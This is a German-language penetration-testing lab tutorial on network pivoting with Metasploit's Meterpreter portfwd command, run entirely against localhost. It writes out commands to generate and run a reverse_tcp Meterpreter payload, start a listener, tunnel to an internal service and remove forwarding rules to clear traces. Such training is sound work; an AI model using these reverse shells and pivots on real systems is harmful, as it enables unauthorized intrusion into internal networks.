Netzwerk-Pivoting mit portfwd in Meterpreter durchführen

Kali LinuxBeginner
Jetzt üben

Einleitung

In diesem Lab lernen Sie Network Pivoting kennen, eine grundlegende Technik beim Penetration Testing. Pivoting ist der Prozess, ein kompromittiertes System zu nutzen, um auf andere Systeme in einem internen Netzwerk zuzugreifen, die von Ihrer Maschine aus nicht direkt erreichbar sind.

Wir werden Metasploits Meterpreter, eine leistungsstarke Post-Exploitation-Payload, und dessen portfwd-Befehl verwenden, um dies zu erreichen. Sie lernen, wie Sie ein Port Forwarding einrichten, um Datenverkehr über einen kompromittierten Host zu tunneln, sodass Sie mit Diensten in dessen lokalem Netzwerk interagieren können, als wären Sie direkt verbunden.

Identifizieren eines Dienstes im internen Netzwerk eines Ziels

In diesem Schritt simulieren wir den Erhalt einer Meterpreter-Sitzung auf einem Zielsystem. In einem realen Szenario würde dies durch Ausnutzung einer Schwachstelle erreicht werden. Für dieses Lab richten wir einen Listener in Metasploit ein und führen manuell eine Payload aus, um uns damit zu verbinden. Dies ermöglicht es uns, uns auf die Post-Exploitation-Phase zu konzentrieren.

Zuerst müssen wir das Metasploit Framework installieren.

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall

Öffnen Sie als Nächstes ein Terminal und starten Sie die Metasploit-Konsole.

msfconsole -q

Innerhalb von msfconsole richten wir einen Handler ein, der auf eingehende Verbindungen wartet.

use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j

Öffnen Sie nun ein neues Terminal (Sie können dazu die "+" Schaltfläche im Terminal-Tab verwenden). In diesem neuen Terminal generieren und führen wir eine Payload aus, um uns mit unserem Listener zu verbinden.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell.elf
chmod +x shell.elf
./shell.elf

Wechseln Sie zurück zu Ihrem ersten Terminal mit msfconsole. Sie sollten eine Meldung sehen, die anzeigt, dass eine neue Sitzung geöffnet wurde. Interagieren wir damit.

sessions -l
sessions -i 1

Sie befinden sich nun in einer Meterpreter-Sitzung. Ein üblicher erster Schritt ist die Durchführung von Aufklärung (Reconnaissance). Lassen Sie uns die Netzwerkschnittstellen des "kompromittierten" Hosts überprüfen.

ifconfig

Sie werden mehrere Netzwerkschnittstellen sehen. Für dieses Lab gehen wir davon aus, dass wir durch weiteres Scannen (das über den Umfang dieses Labs hinausgeht) einen Webdienst auf 127.0.0.1 auf Port 8080 entdeckt haben. Unser Ziel ist es, auf diesen Dienst zuzugreifen.

Verwenden des portfwd add-Befehls in Meterpreter

In diesem Schritt werden wir den portfwd-Befehl untersuchen, der ein wichtiges Werkzeug für Port-Weiterleitung (Port Forwarding) in Meterpreter ist.

Der portfwd-Befehl ermöglicht es uns, einen Tunnel zu erstellen und den Datenverkehr von einem Port auf unserer lokalen (Angreifer-)Maschine zu einer spezifischen IP-Adresse und einem Port umzuleiten, die vom kompromittierten Host aus erreichbar sind. Dies ist die Essenz des Pivotings.

Der Befehl hat mehrere Optionen, aber wir werden uns auf add, list und delete (oder rm) konzentrieren.

Die Syntax zum Hinzufügen einer neuen Port-Weiterleitungsregel lautet wie folgt:

portfwd add -l <local_port> -p <remote_port> -r <remote_host>

Lassen Sie uns die Parameter für die add-Operation aufschlüsseln:

  • -l <local_port>: Der Port auf Ihrer lokalen Maschine (der Angreifer-Maschine), der auf eingehende Verbindungen wartet. Sie werden sich mit diesem Port verbinden, um auf den entfernten Dienst zuzugreifen.
  • -p <remote_port>: Der Zielport im Zielnetzwerk, auf den Sie zugreifen möchten. In unserem Fall ist dies 8080.
  • -r <remote_host>: Die Ziel-IP-Adresse im Zielnetzwerk. Dieser Host muss von der kompromittierten Maschine aus erreichbar sein. In unserem Fall ist dies 127.0.0.1.

Im nächsten Schritt werden wir diesen Befehl verwenden, um eine Weiterleitungsregel für den Webdienst zu erstellen, den wir identifiziert haben.

Weiterleiten eines Ports vom kompromittierten Host zu Ihrer Kali-Maschine

Nachdem Sie den Befehl portfwd add verstanden haben, verwenden wir ihn nun, um den internen Webdienst auf unsere lokale Maschine weiterzuleiten.

Unser Ziel ist es, auf den Dienst, der auf 127.0.0.1:8080 läuft (aus der Perspektive des kompromittierten Hosts), zuzugreifen, indem wir uns mit einem Port auf unserer eigenen Maschine verbinden. Wählen wir zu diesem Zweck den lokalen Port 8888.

Führen Sie in Ihrer Meterpreter-Sitzung den folgenden Befehl aus:

portfwd add -l 8888 -p 8080 -r 127.0.0.1

Dieser Befehl weist Meterpreter an, auf Ihrem lokalen Port 8888 zu lauschen und alle Verbindungen an 127.0.0.1:8080 auf dem Zielsystem weiterzuleiten. Sie sollten eine Bestätigungsmeldung sehen.

[*] Local TCP relay created: 127.0.0.1:8888 -> 127.0.0.1:8080

Die Weiterleitung ist nun aktiv. Jeglicher Datenverkehr, der an localhost:8888 auf Ihrer Maschine gesendet wird, wird über die Meterpreter-Sitzung zum Port 8080 des Ziels getunnelt.

Zugriff auf den internen Dienst über den neuen lokalen Port

Mit der eingerichteten Portweiterleitung können wir nun auf den internen Webdienst zugreifen, als ob er auf unserer eigenen Maschine laufen würde.

Öffnen Sie ein neues Terminal auf Ihrer Maschine (schließen Sie das msfconsole-Terminal nicht).

Verwenden Sie ein Kommandozeilen-Tool wie curl, um eine Anfrage an den von Ihnen eingerichteten lokalen Port (8888) zu senden. Diese Anfrage wird an Ihre lokale Maschine gesendet.

curl http://127.0.0.1:8888

Die Anfrage wird von Ihrem curl-Client an Ihren lokalen Port 8888 gesendet, durch die Meterpreter-Sitzung zum kompromittierten Host und schließlich zum Webdienst auf 127.0.0.1:8080. Als Ergebnis sollten Sie den HTML-Inhalt der internen Webseite sehen.

<html>
  <body>
    <h1>Internal Service Accessed!</h1>
  </body>
</html>

Erfolg! Sie sind erfolgreich in das Netzwerk des Ziels eingedrungen und haben auf einen Dienst zugegriffen, der nicht direkt erreichbar war.

Auflisten und Entfernen der Portweiterleitungsregel

Nachdem Sie das Pivot verwendet haben, ist es eine gute Praxis, Ihre Portweiterleitungsregeln zu bereinigen, um Spuren zu beseitigen und Ressourcen freizugeben.

Zuerst listen wir alle aktiven Portweiterleitungsregeln auf. Kehren Sie zu Ihrer Meterpreter-Sitzung zurück und verwenden Sie den Befehl portfwd list.

portfwd list

Sie sehen eine Tabelle mit den aktiven Weiterleitungen, einschließlich ihrer Indexnummer, ihres Typs und ihrer Verbindungsdetails.

Active Port Forwards
====================

Index  Type    Local Host  Local Port  Remote Host  Remote Port
-----  ----    ----------  ----------  -----------  -----------
1      forward 127.0.0.1   8888        127.0.0.1    8080

Um eine Regel zu entfernen, können Sie entweder portfwd delete oder portfwd rm verwenden. Sie müssen die Indexnummer der Regel aus der Liste angeben. In unserem Fall ist der Index 1.

Führen Sie den folgenden Befehl aus, um die Regel zu entfernen:

portfwd delete -i 1

Sie sollten eine Bestätigung sehen, dass die TCP-Weiterleitung gestoppt wurde.

[*] Stopping TCP relay on 127.0.0.1:8888...
[*] TCP relay stopped

Sie können portfwd list erneut ausführen, um zu bestätigen, dass die Regel entfernt wurde. Die Liste sollte nun leer sein. Dies stellt sicher, dass der Tunnel geschlossen ist und Ihre Maschine nicht mehr auf Port 8888 lauscht.

Zusammenfassung

In diesem Lab haben Sie die Grundlagen des Netzwerk-Pivoting mit dem portfwd-Dienstprogramm von Meterpreter kennengelernt.

Sie haben erfolgreich die Erlangung einer Meterpreter-Sitzung simuliert, einen hypothetischen internen Dienst identifiziert und eine Portweiterleitungsregel erstellt, um den Datenverkehr von Ihrem lokalen Rechner in das interne Netzwerk des Ziels zu tunneln. Anschließend haben Sie über den Tunnel auf diesen internen Dienst zugegriffen und gelernt, wie Sie die Weiterleitungsregeln auflisten und entfernen, um Ihre Sitzung zu bereinigen.

Diese Technik ist eine grundlegende Fähigkeit beim Penetration Testing und ermöglicht es Ihnen, Ihren Zugriff von einem einzelnen kompromittierten Host auf ein gesamtes internes Netzwerk zu erweitern.